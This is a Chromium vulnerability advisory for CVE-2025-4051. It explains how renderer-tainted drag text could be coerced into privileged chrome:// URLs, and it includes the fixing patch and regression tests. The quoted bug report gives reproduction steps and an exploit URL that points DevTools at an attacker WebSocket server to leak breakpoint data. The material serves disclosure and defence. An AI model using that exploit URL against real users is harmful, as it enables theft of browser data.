CVE-2025-4051
Overview
Background
- `OSExchangeData`
- The cross-platform drag-and-drop payload container; it can hold typed URLs and plain strings and does best-effort string-to-URL coercion.
- Renderer-tainted drag data
- Drag data that originated in a renderer process, marked so the browser knows it must be treated as untrusted (
data.IsRendererTainted()/ thekUTTypeChromiumRendererInitiatedDragpasteboard type on macOS). - URL filtering
- When a drag starts from a renderer, the browser process filters out URLs the initiating renderer is not allowed to navigate to (e.g.
chrome://settings/), so a web page cannot self-navigate to privileged schemes. - `features::kDragDropOnlySynthesizeHttpOrHttpsUrlsFromText`
- The feature flag gating the new restriction that renderer-tainted text may only be coerced into HTTP/HTTPS URLs.
Root Cause Analysis
When a drag from a renderer is dropped on the browser UI, the browser tries to be “clever” and coerces plain text into a URL, but this coercion happens in a code path separate from the one that filters renderer-supplied URLs by scheme. Because the text→URL conversion produced a destination_url that was returned without re-checking the scheme, a renderer could smuggle a privileged URL such as chrome://settings/ as plain text and have the browser synthesize it into a navigable URL, bypassing the URL filtering applied to typed URLs. The invariant violated is that a renderer-tainted drag must never yield a non-HTTP/HTTPS navigation target.
The fix adds a guard in browser_root_view.cc that, when the feature is enabled and data.IsRendererTainted() and the coerced match.destination_url is not SchemeIsHTTPOrHTTPS(), returns std::nullopt instead of the URL; a parallel guard is added in the macOS ExtractURLFromStringValue path (returning nil). This closes the bypass by subjecting the synthesized URL to the same HTTP/HTTPS-only restriction for tainted data.
Attack Path
- Start a renderer drag with text
A malicious page initiates a drag whose payload is plain text set to a privileged URL string such as
chrome://settings/; the data is marked renderer-tainted. - Bypass typed-URL filtering Because the payload is text rather than a typed URL, the browser’s URL filtering for renderer-supplied URLs does not remove it.
- Trigger browser text→URL coercion
Dropping onto the browser UI (
BrowserRootView) invokes the coercion that turns the text intomatch.destination_url(chrome://settings/). - Obtain a privileged navigation
Pre-patch, that coerced URL is returned and the drop resolves to
DRAG_COPY, so the browser can navigate to the privileged scheme the renderer was never allowed to specify. The regression testDoesNotNavigateToUrlFromRendererTaintedTextconfirms this now yieldsDRAG_NONE. (inferred) Actual consequences of navigating to achrome://page depend on the target page.
Impact Assessment
chrome://settings/) that renderer-URL filtering would otherwise block, from within the browser (UI) process context, requiring the user to perform a drag-and-drop into the browser chrome. The advisory classifies this as insufficient data validation in DevTools; it does not report in-the-wild exploitation, and any escalation beyond reaching the privileged navigation target is (inferred).Changed Functions
| Function | Change | Notes |
|---|---|---|
IN_PROC_BROWSER_TEST_Fchrome/browser/ui/views/frame/browser_root_view_browsertest.cc |
modified | |
ifui/base/clipboard/clipboard_util_mac.mm |
modified | |
forui/base/clipboard/clipboard_util_mac.mm |
modified | |
TEST_Fui/base/clipboard/clipboard_util_mac_unittest.mm |
modified |
Files Changed
chrome/browser/ui/views/frame/browser_root_view.ccchrome/browser/ui/views/frame/browser_root_view_browsertest.ccui/base/clipboard/clipboard_util_mac.mmui/base/clipboard/clipboard_util_mac_unittest.mm
Audit Directions
- Coercion bypassing filteringLook for any place where drag/clipboard data is coerced from text into URLs (or other typed forms) outside the code path that applies renderer URL filtering, since such divergent paths can bypass scheme restrictions.
- Taint propagation gapsAudit whether
IsRendererTainted()/kUTTypeChromiumRendererInitiatedDragis consistently checked on every platform’s drop-handling and pasteboard-extraction code (Win, Mac, Linux) before synthesizing navigable URLs. - Privileged-scheme entry pointsReview drop and paste handlers that can yield
chrome://,devtools://,file://, or other non-HTTP schemes from untrusted input, ensuring an allow-list to HTTP/HTTPS for renderer-originated data.
Patch
From 7675c9965682a9d83de5aff379ab78531204238d Mon Sep 17 00:00:00 2001 From: Daniel Cheng <[email protected]> Date: Fri, 28 Mar 2025 13:30:27 -0700 Subject: [PATCH] Don't allow text -> URL conversion when dropping to bypass URL filtering When starting a drag from a renderer, the browser process filters out URLs that the initiating renderer process should not be able to navigate to, e.g. a random http/https page should not be able to specify chrome://settings/ as URL to navigate to when dropped. However, when dropping, Chrome is clever and tries to interpret text as URLs when needed. To prevent this from bypassing the URL filtering, only allow this conversion if: - the drag data does not originate from the renderer - or the text to URL conversion results in a HTTP or HTTPS url Bug: 404000989 Change-Id: I28baf7e6385b440af7e76b08471588299e24e247 Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/6400553 Reviewed-by: Avi Drissman <[email protected]> Commit-Queue: Daniel Cheng <[email protected]> Cr-Commit-Position: refs/heads/main@{#1439671} --- diff --git a/chrome/browser/ui/views/frame/browser_root_view.cc b/chrome/browser/ui/views/frame/browser_root_view.cc index d38c38b..abf409a 100644 --- a/chrome/browser/ui/views/frame/browser_root_view.cc +++ b/chrome/browser/ui/views/frame/browser_root_view.cc @@ -13,6 +13,7 @@ #include "base/check_op.h" #include "base/containers/adapters.h" +#include "base/feature_list.h" #include "base/functional/bind.h" #include "base/functional/callback_helpers.h" #include "base/metrics/user_metrics.h" @@ -50,6 +51,7 @@ #include "ui/base/dragdrop/os_exchange_data.h" #include "ui/base/hit_test.h" #include "ui/base/metadata/metadata_impl_macros.h" +#include "ui/base/ui_base_features.h" #include "ui/color/color_provider.h" #include "ui/compositor/layer_tree_owner.h" #include "ui/compositor/paint_recorder.h" @@ -555,6 +557,17 @@ return std::nullopt; } + // `OSExchangeData` already tries to do best-effort conversion of strings + // to URLs, but the browser also does this coercion using slightly different + // logic. To avoid this coercion from bypassing URL filtering, only allow this + // coercion from http or https URLs if the drag data is renderer tainted. + if (base::FeatureList::IsEnabled( + features::kDragDropOnlySynthesizeHttpOrHttpsUrlsFromText) && + data.IsRendererTainted() && + !match.destination_url.SchemeIsHTTPOrHTTPS()) { + return std::nullopt; + } + return match.destination_url; } diff --git a/chrome/browser/ui/views/frame/browser_root_view_browsertest.cc b/chrome/browser/ui/views/frame/browser_root_view_browsertest.cc index 5660bbe9..aa7385f 100644 --- a/chrome/browser/ui/views/frame/browser_root_view_browsertest.cc +++ b/chrome/browser/ui/views/frame/browser_root_view_browsertest.cc @@ -56,23 +56,26 @@ browser_root_view()->OnMouseWheel(wheel_event); } + void WaitForDragStart(const ui::DropTargetEvent& event) { + base::RunLoop run_loop; + BrowserRootView* const root_view = browser_root_view(); + root_view->SetOnFilteringCompleteClosureForTesting(run_loop.QuitClosure()); + root_view->OnDragEntered(event); + run_loop.Run(); + } + void StartAndFinishDrag(const ui::OSExchangeData& data, ui::mojom::DragOperation& out_drag_op) { ui::DropTargetEvent event(data, gfx::PointF(), gfx::PointF(), ui::DragDropTypes::DRAG_COPY); - BrowserRootView* root_view = browser_root_view(); - - base::RunLoop run_loop; - root_view->SetOnFilteringCompleteClosureForTesting(run_loop.QuitClosure()); - root_view->OnDragEntered(event); + WaitForDragStart(event); // At this point, the drag information will have been set, and a background // task will have been posted to process the dragged URLs // (`GetURLMimeTypes()` -> `FilterURLs()`). Ensure that all background // processing is complete before checking the drag operation or invoking the // drag callback. - run_loop.Run(); - + BrowserRootView* const root_view = browser_root_view(); EXPECT_NE(ui::DragDropTypes::DRAG_NONE, root_view->OnDragUpdated(event)); auto drop_cb = root_view->GetDropCallback(event); @@ -471,3 +474,32 @@ EXPECT_TRUE(observer.last_initiator_origin().has_value()); EXPECT_EQ(initiator_origin, observer.last_initiator_origin().value()); } + +IN_PROC_BROWSER_TEST_F(BrowserRootViewBrowserTest, NavigateToUrlFromText) { + ASSERT_TRUE(AddTabAtIndex(0, GURL("about:blank"), ui::PAGE_TRANSITION_LINK)); + using BrowserRootView::DropIndex::RelativeToIndex::kReplaceIndex; + + ui::OSExchangeData data; + data.SetString(u"chrome://settings/"); + ui::DropTargetEvent event(data, gfx::PointF(), gfx::PointF(), + ui::DragDropTypes::DRAG_COPY); + WaitForDragStart(event); + + EXPECT_EQ(ui::DragDropTypes::DRAG_COPY, + browser_root_view()->OnDragUpdated(event)); +} +IN_PROC_BROWSER_TEST_F(BrowserRootViewBrowserTest, + DoesNotNavigateToUrlFromRendererTaintedText) { + ASSERT_TRUE(AddTabAtIndex(0, GURL("about:blank"), ui::PAGE_TRANSITION_LINK)); + using BrowserRootView::DropIndex::RelativeToIndex::kReplaceIndex; + + ui::OSExchangeData data; + data.SetString(u"chrome://settings/"); + data.MarkRendererTaintedFromOrigin(url::Origin()); + ui::DropTargetEvent event(data, gfx::PointF(), gfx::PointF(), + ui::DragDropTypes::DRAG_COPY); + WaitForDragStart(event); + + EXPECT_EQ(ui::DragDropTypes::DRAG_NONE, + browser_root_view()->OnDragUpdated(event)); +} diff --git a/ui/base/clipboard/clipboard_util_mac.mm b/ui/base/clipboard/clipboard_util_mac.mm index 3a196911..2a8365a 100644 --- a/ui/base/clipboard/clipboard_util_mac.mm +++ b/ui/base/clipboard/clipboard_util_mac.mm @@ -17,6 +17,7 @@ #include "ui/base/clipboard/clipboard_constants.h" #include "ui/base/clipboard/file_info.h" #include "ui/base/clipboard/url_file_parser.h" +#include "ui/base/ui_base_features.h" #include "url/gurl.h" @interface URLAndTitle () @@ -228,7 +229,8 @@ // Returns a URL and title if a string on the pasteboard item is formatted as a // URL but doesn't actually have the URL type. -URLAndTitle* ExtractURLFromStringValue(NSPasteboardItem* item) { +URLAndTitle* ExtractURLFromStringValue(NSPasteboardItem* item, + bool is_renderer_tainted) { NSString* string = [item stringForType:NSPasteboardTypeString]; if (!string) { return nil; @@ -250,6 +252,12 @@ return nil; } + if (base::FeatureList::IsEnabled( + features::kDragDropOnlySynthesizeHttpOrHttpsUrlsFromText) && + is_renderer_tainted && !url.SchemeIsHTTPOrHTTPS()) { + return nil; + } + // The hostname is the best that can be done for the title. return [URLAndTitle URLAndTitleWithURL:string title:base::SysUTF8ToNSString(url.host())]; @@ -275,6 +283,8 @@ bool include_files) { NSMutableArray<URLAndTitle*>* result = [NSMutableArray array]; + const bool is_renderer_tainted = + [pboard.types containsObject:kUTTypeChromiumRendererInitiatedDrag]; for (NSPasteboardItem* item in pboard.pasteboardItems) { // Try each of several ways of getting URLs from the pasteboard item and // stop with the first one that works. @@ -286,7 +296,7 @@ } if (!url_and_title) { - url_and_title = ExtractURLFromStringValue(item); + url_and_title = ExtractURLFromStringValue(item, is_renderer_tainted); } if (!url_and_title && include_files) { diff --git a/ui/base/clipboard/clipboard_util_mac_unittest.mm b/ui/base/clipboard/clipboard_util_mac_unittest.mm index 15ab2f4..f8bef91 100644 --- a/ui/base/clipboard/clipboard_util_mac_unittest.mm +++ b/ui/base/clipboard/clipboard_util_mac_unittest.mm @@ -50,22 +50,81 @@ EXPECT_FALSE([items[1].types containsObject:kUTTypeWebKitWebURLsWithTitles]); } -TEST_F(ClipboardUtilMacTest, PasteboardItemsFromString) { - NSString* url_string = @" https://www.google.com/ "; +TEST_F(ClipboardUtilMacTest, PasteboardUrlsFromString) { + { + NSString* url_string = @" https://www.google.com/ ";
Regression Test / PoC
diff --git a/chrome/browser/ui/views/frame/browser_root_view_browsertest.cc b/chrome/browser/ui/views/frame/browser_root_view_browsertest.cc
index 5660bbe9..aa7385f 100644
--- a/chrome/browser/ui/views/frame/browser_root_view_browsertest.cc
+++ b/chrome/browser/ui/views/frame/browser_root_view_browsertest.cc
@@ -56,23 +56,26 @@
browser_root_view()->OnMouseWheel(wheel_event);
}
+ void WaitForDragStart(const ui::DropTargetEvent& event) {
+ base::RunLoop run_loop;
+ BrowserRootView* const root_view = browser_root_view();
+ root_view->SetOnFilteringCompleteClosureForTesting(run_loop.QuitClosure());
+ root_view->OnDragEntered(event);
+ run_loop.Run();
+ }
+
void StartAndFinishDrag(const ui::OSExchangeData& data,
ui::mojom::DragOperation& out_drag_op) {
ui::DropTargetEvent event(data, gfx::PointF(), gfx::PointF(),
ui::DragDropTypes::DRAG_COPY);
- BrowserRootView* root_view = browser_root_view();
-
- base::RunLoop run_loop;
- root_view->SetOnFilteringCompleteClosureForTesting(run_loop.QuitClosure());
- root_view->OnDragEntered(event);
+ WaitForDragStart(event);
// At this point, the drag information will have been set, and a background
// task will have been posted to process the dragged URLs
// (`GetURLMimeTypes()` -> `FilterURLs()`). Ensure that all background
// processing is complete before checking the drag operation or invoking the
// drag callback.
- run_loop.Run();
-
+ BrowserRootView* const root_view = browser_root_view();
EXPECT_NE(ui::DragDropTypes::DRAG_NONE, root_view->OnDragUpdated(event));
auto drop_cb = root_view->GetDropCallback(event);
@@ -471,3 +474,32 @@
EXPECT_TRUE(observer.last_initiator_origin().has_value());
EXPECT_EQ(initiator_origin, observer.last_initiator_origin().value());
}
+
+IN_PROC_BROWSER_TEST_F(BrowserRootViewBrowserTest, NavigateToUrlFromText) {
+ ASSERT_TRUE(AddTabAtIndex(0, GURL("about:blank"), ui::PAGE_TRANSITION_LINK));
+ using BrowserRootView::DropIndex::RelativeToIndex::kReplaceIndex;
+
+ ui::OSExchangeData data;
+ data.SetString(u"chrome://settings/");
+ ui::DropTargetEvent event(data, gfx::PointF(), gfx::PointF(),
+ ui::DragDropTypes::DRAG_COPY);
+ WaitForDragStart(event);
+
+ EXPECT_EQ(ui::DragDropTypes::DRAG_COPY,
+ browser_root_view()->OnDragUpdated(event));
+}
+IN_PROC_BROWSER_TEST_F(BrowserRootViewBrowserTest,
+ DoesNotNavigateToUrlFromRendererTaintedText) {
+ ASSERT_TRUE(AddTabAtIndex(0, GURL("about:blank"), ui::PAGE_TRANSITION_LINK));
+ using BrowserRootView::DropIndex::RelativeToIndex::kReplaceIndex;
+
+ ui::OSExchangeData data;
+ data.SetString(u"chrome://settings/");
+ data.MarkRendererTaintedFromOrigin(url::Origin());
+ ui::DropTargetEvent event(data, gfx::PointF(), gfx::PointF(),
+ ui::DragDropTypes::DRAG_COPY);
+ WaitForDragStart(event);
+
+ EXPECT_EQ(ui::DragDropTypes::DRAG_NONE,
+ browser_root_view()->OnDragUpdated(event));
+}
diff --git a/ui/base/clipboard/clipboard_util_mac_unittest.mm b/ui/base/clipboard/clipboard_util_mac_unittest.mm
index 15ab2f4..f8bef91 100644
--- a/ui/base/clipboard/clipboard_util_mac_unittest.mm
+++ b/ui/base/clipboard/clipboard_util_mac_unittest.mm
@@ -50,22 +50,81 @@
EXPECT_FALSE([items[1].types containsObject:kUTTypeWebKitWebURLsWithTitles]);
}
-TEST_F(ClipboardUtilMacTest, PasteboardItemsFromString) {
- NSString* url_string = @" https://www.google.com/ ";
+TEST_F(ClipboardUtilMacTest, PasteboardUrlsFromString) {
+ {
+ NSString* url_string = @" https://www.google.com/ ";
- scoped_refptr<UniquePasteboard> pasteboard = new UniquePasteboard;
- [pasteboard->get() writeObjects:@[ url_string ]];
+ scoped_refptr<UniquePasteboard> pasteboard = new UniquePasteboard;
+ [pasteboard->get() writeObjects:@[ url_string ]];
- NSArray<URLAndTitle*>* urls_and_titles =
- clipboard_util::URLsAndTitlesFromPasteboard(pasteboard->get(),
- /*include_files=*/false);
+ NSArray<URLAndTitle*>* urls_and_titles =
+ clipboard_util::URLsAndTitlesFromPasteboard(pasteboard->get(),
+ /*include_files=*/false);
- ASSERT_EQ(1u, urls_and_titles.count);
- EXPECT_NSEQ(@"https://www.google.com/", urls_and_titles[0].URL);
- EXPECT_NSEQ(@"www.google.com", urls_and_titles[0].title);
+ ASSERT_EQ(1u, urls_and_titles.count);
+ EXPECT_NSEQ(@"https://www.google.com/", urls_and_titles[0].URL);
+ EXPECT_NSEQ(@"www.google.com", urls_and_titles[0].title);
+ }
+
+ // Even when renderer-tainted, HTTPS URLs should be synthesized from
+ // NSPasteboard's text content.
+ {
+ NSString* url_string = @" https://www.google.com/ ";
+ NSPasteboardItem* item = [[NSPasteboardItem alloc] init];
+ [item setString:url_string forType:NSPasteboardTypeString];
+ [item setString:@"https://www.google.com/"
+ forType:kUTTypeChromiumRendererInitiatedDrag];
+
+ scoped_refptr<UniquePasteboard> pasteboard = new UniquePasteboard;
+ [pasteboard->get() writeObjects:@[ item ]];
+
+ NSArray<URLAndTitle*>* urls_and_titles =
+ clipboard_util::URLsAndTitlesFromPasteboard(pasteboard->get(),
+ /*include_files=*/false);
+
+ ASSERT_EQ(1u, urls_and_titles.count);
+ EXPECT_NSEQ(@"https://www.google.com/", urls_and_titles[0].URL);
+ EXPECT_NSEQ(@"www.google.com", urls_and_titles[0].title);
+ }
}
-TEST_F(ClipboardUtilMacTest, PasteboardItemWithFilePath) {
+TEST_F(ClipboardUtilMacTest, PasteboardUrlsFromNonHttpAndNonHttpsUrlString) {
+ {
+ NSString* url_string = @"chrome://settings/";
+
+ scoped_refptr<UniquePasteboard> pasteboard = new UniquePasteboard;
+ [pasteboard->get() writeObjects:@[ url_string ]];
+
+ NSArray<URLAndTitle*>* urls_and_titles =
+ clipboard_util::URLsAndTitlesFromPasteboard(pasteboard->get(),
+ /*include_files=*/false);
+
+ ASSERT_EQ(1u, urls_and_titles.count);
+ EXPECT_NSEQ(@"chrome://settings/", urls_and_titles[0].URL);
+ EXPECT_NSEQ(@"settings", urls_and_titles[0].title);
+ }
+
+ // A non-HTTP / non-HTTPS URL should not be synthesized from a
+ // renderer-tainted NSPasteboard's text content.
+ {
+ NSString* url_string = @"chrome://settings/";
+ NSPasteboardItem* item = [[NSPasteboardItem alloc] init];
+ [item setString:url_string forType:NSPasteboardTypeString];
+ [item setString:@"chrome://settings/"
+ forType:kUTTypeChromiumRendererInitiatedDrag];
+
+ scoped_refptr<UniquePasteboard> pasteboard = new UniquePasteboard;
+ [pasteboard->get() writeObjects:@[ item ]];
+
+ NSArray<URLAndTitle*>* urls_and_titles =
+ clipboard_util::URLsAndTitlesFromPasteboard(pasteboard->get(),
+ /*include_files=*/false);
+
+ ASSERT_EQ(0u, urls_and_titles.count);
+ }
+}
+
+TEST_F(ClipboardUtilMacTest, PasteboardUrlsWithFilePath) {
NSURL* url = [NSURL fileURLWithPath:NSTemporaryDirectory() isDirectory:YES];
ASSERT_TRUE(url);
NSString* url_string = url.absoluteString;
diff --git a/ui/base/dragdrop/os_exchange_data_unittest.cc b/ui/base/dragdrop/os_exchange_data_unittest.cc
index 81f4003..91b980c 100644
--- a/ui/base/dragdrop/os_exchange_data_unittest.cc
+++ b/ui/base/dragdrop/os_exchange_data_unittest.cc
@@ -73,6 +73,104 @@
EXPECT_EQ(u"https://www.google.com/", string);
}
+// TODO(crbug.com/406978702): string -> URL conversion is only implemented on
+// some platforms—and it is not consistently implemented across all platforms.
+// Maybe this will be fixed one day...
+#if BUILDFLAG(IS_WIN) || BUILDFLAG(IS_MAC)
+static constexpr bool kSupportsStringToUrlCoercion = true;
+static constexpr bool kStringToUrlCoercionPopulatesTitle = true;
+#elif BUILDFLAG(IS_OZONE) && defined(USE_AURA)
+static constexpr bool kSupportsStringToUrlCoercion = true;
+static constexpr bool kStringToUrlCoercionPopulatesTitle = false;
+#else
+static constexpr bool kSupportsStringToUrlCoercion = false;
+static constexpr bool kStringToUrlCoercionPopulatesTitle = false;
+#endif
+
+TEST_F(OSExchangeDataTest, URLFromString) {
+ const OSExchangeData copy([] {
+ OSExchangeData data;
+ data.SetString(u"https://www.google.com/");
+ return data.provider().Clone();
+ }());
+
+ EXPECT_TRUE(copy.HasURL(FilenameToURLPolicy::DO_NOT_CONVERT_FILENAMES));
+ std::optional<OSExchangeData::UrlInfo> url_info =
+ copy.GetURLAndTitle(FilenameToURLPolicy::DO_NOT_CONVERT_FILENAMES);
+ if constexpr (kSupportsStringToUrlCoercion) {
+ EXPECT_TRUE(url_info.has_value());
+ EXPECT_EQ("https://www.google.com/", url_info->url.spec());
+ if constexpr (kStringToUrlCoercionPopulatesTitle) {
+ EXPECT_EQ(u"www.google.com", url_info->title);
+ } else {
+ EXPECT_EQ(u"", url_info->title);
+ }
+ } else {
+ EXPECT_FALSE(url_info.has_value());
+ }
+}
+
+TEST_F(OSExchangeDataTest, URLFromRendererTaintedString) {
+ const OSExchangeData copy([] {
+ OSExchangeData data;
+ data.SetString(u"https://www.google.com/");
+ data.MarkRendererTaintedFromOrigin(url::Origin());
+ return data.provider().Clone();
+ }());
+
+ EXPECT_TRUE(copy.HasURL(FilenameToURLPolicy::DO_NOT_CONVERT_FILENAMES));
+ std::optional<OSExchangeData::UrlInfo> url_info =
+ copy.GetURLAndTitle(FilenameToURLPolicy::DO_NOT_CONVERT_FILENAMES);
+ if constexpr (kSupportsStringToUrlCoercion) {
+ EXPECT_TRUE(url_info.has_value());
+ EXPECT_EQ("https://www.google.com/", url_info->url.spec());
+ if constexpr (kStringToUrlCoercionPopulatesTitle) {
+ EXPECT_EQ(u"www.google.com", url_info->title);
+ } else {
+ EXPECT_EQ(u"", url_info->title);
+ }
+ } else {
+ EXPECT_FALSE(url_info.has_value());
+ }
+}
+
+TEST_F(OSExchangeDataTest, NonHttpAndNonHttpsURLFromString) {
+ const OSExchangeData copy([] {
+ OSExchangeData data;
+ data.SetString(u"chrome://settings/");
+ return data.provider().Clone();
+ }());
+
+ EXPECT_TRUE(copy.HasURL(FilenameToURLPolicy::DO_NOT_CONVERT_FILENAMES));
+ std::optional<OSExchangeData::UrlInfo> url_info =
+ copy.GetURLAndTitle(FilenameToURLPolicy::DO_NOT_CONVERT_FILENAMES);
+ if constexpr (kSupportsStringToUrlCoercion) {
+ EXPECT_TRUE(url_info.has_value());
+ EXPECT_EQ("chrome://settings/", url_info->url.spec());
+ if constexpr (kStringToUrlCoercionPopulatesTitle) {
+ EXPECT_EQ(u"settings", url_info->title);
+ } else {
+ EXPECT_EQ(u"", url_info->title);
+ }
+ } else {
+ EXPECT_FALSE(url_info.has_value());
+ }
+}
+
+TEST_F(OSExchangeDataTest, NonHttpAndNonHttpsURLFromRendererTaintedString) {
+ const OSExchangeData copy([] {
+ OSExchangeData data;
+ data.SetString(u"chrome://settings/");
+ data.MarkRendererTaintedFromOrigin(url::Origin());
+ return data.provider().Clone();
+ }());
+
+ EXPECT_FALSE(copy.HasURL(FilenameToURLPolicy::DO_NOT_CONVERT_FILENAMES));
+ std::optional<OSExchangeData::UrlInfo> url_info =
+ copy.GetURLAndTitle(FilenameToURLPolicy::DO_NOT_CONVERT_FILENAMES);
+ EXPECT_FALSE(url_info.has_value());
+}
+
// Test that setting the URL does not overwrite a previously set custom string
// and that the synthesized URL shortcut file is ignored by GetFileContents().
TEST_F(OSExchangeDataTest, URLStringFileContents) {
Original Bug Report
DevTools frontend leaks breakpoint history to any remote WebSocket server it connects to
Steps to reproduce the problem
Steps to reproduce as attacker:
- Run attacker WebSocket server, locally or remotely.
Steps to reproduce as victim:
- Have breakpoints/logpoints set
- Navigate to: http://localhost:9123/#devtools://devtools/bundled/devtools_app.html?ws=192.168.0.1:6123
- Drag the installer icon into a new tab
Problem Description
This vulnerability exists in any DevTools frontend page (devtools_app.html). The vulnerability can be exploited by making the victim navigate to a particular URL, which makes the DevTools frontend connect to the attacker’s WebSocket server (using the “ws” or “wss” query parameters). The following URL can be used to exploit this vulnerability: devtools://devtools/bundled/devtools_app.html?&ws=[URL of attacker WebSocket server, without the protocol].
This isn’t the final exploit URL though, as an attacker can’t simply redirect a victim to this URL, as it contains the “devtools” protocol. There are afaik two ways to make a victim navigate to that devtools URL, by using a ‘drag and drop’ interaction or via an extension with the correct permissions set (debugger permission). An example of a malicious site which uses that interaction to open the exploit URL is included in the reproduction case. Do note that BOTH the http and websocker attacker server can be fully remote hosted.
While connecting to the remote attacker-controlled websocket, the victim (whom already have set Breakpoints/Logpoints) leaks these from its browser to the attacker’s websocket server. In the connection to the remote websocket server the connecting chrome-browser sends its ‘Debugger.setBreakpointByUrl’ messages.
** As an example the victim has set some breakpoints and visits the devtools:// url: **
> {"id":59,"method":"Debugger.setBreakpointByUrl","params":{"lineNumber":0,"url":"chrome-extension://nkbihfbeogaeaoehlefnkodbefgpgknn/scripts/inpage.js","columnNumber":97,"condition":"ChromiumDataLeakTestFromMetaMask\n\n//# sourceURL=debugger://breakpoint"}}
> {"id":60,"method":"Debugger.setBreakpointByUrl","params":{"lineNumber":1,"url":"https://www.chromium.org/_scripts/@docsearch/index.js","columnNumber":0,"condition":"/** DEVTOOLS_LOGPOINT */ console.log(ChromiumDataLeakTestFromChromiumOrg)\n\n//# sourceURL=debugger://logpoint"}}
Examples here is from Metamask extension as well as a logpoint set on “https://www.chromium.org/_scripts/@docsearch/index.js".
As the frontend cdp is heavily limited, I highly suspect this isn’t intended as this data is leaking by simply connecting to it.
BISECT
Seems to be due to how ‘setAllBreakpointsEagerly’ was turned on by default in this commit:
https://chromium.googlesource.com/chromium/src/+/283a4a95c568dccade69ef4c641ab64d63281ddb https://chromium.googlesource.com/devtools/devtools-frontend.git/+/0a2132a121f5a31fe72fe4309e9266d1cdb2e547 https://chromium-review.googlesource.com/c/devtools/devtools-frontend/+/4727398
Before this, the breakpoints was behind a query-parameter: https://chromium.googlesource.com/chromium/src/+/dbde612cafe4beb115f24a997d4471fad6dfb539
Here is where that logic was added: https://chromium.googlesource.com/devtools/devtools-frontend.git/+/347ba8d36b0906e6a7b582c5261b08159d520bf2
Summary
DevTools frontend leaks breakpoint history to any remote WebSocket server it connects to
Custom Questions
Reporter credit:
Daniel Fröjdendahl
Additional Data
Category: Security
Chrome Channel: Stable
Regression: N/A
BreakpointDataLeak.PNGXSS.PNGattack-servers.mjsbackground.jsdevtools.htmlindex.htmlinstaller_drag.pngmanifest.jsonpackage.jsonupdate_link2.PNGwebsocket-server.js
- http://localhost:9123/#devtools://devtools/bundled/devtools_app.html?ws=192.168.0.1:6123
- https://chromium-review.googlesource.com/c/devtools/devtools-frontend/+/4727398
- https://chromium.googlesource.com/chromium/src/+/283a4a95c568dccade69ef4c641ab64d63281ddb
- https://chromium.googlesource.com/chromium/src/+/dbde612cafe4beb115f24a997d4471fad6dfb539
- https://chromium.googlesource.com/devtools/devtools-frontend.git/+/0a2132a121f5a31fe72fe4309e9266d1cdb2e547
- https://chromium.googlesource.com/devtools/devtools-frontend.git/+/347ba8d36b0906e6a7b582c5261b08159d520bf2
- https://www.chromium.org/_scripts/@docsearch/index.js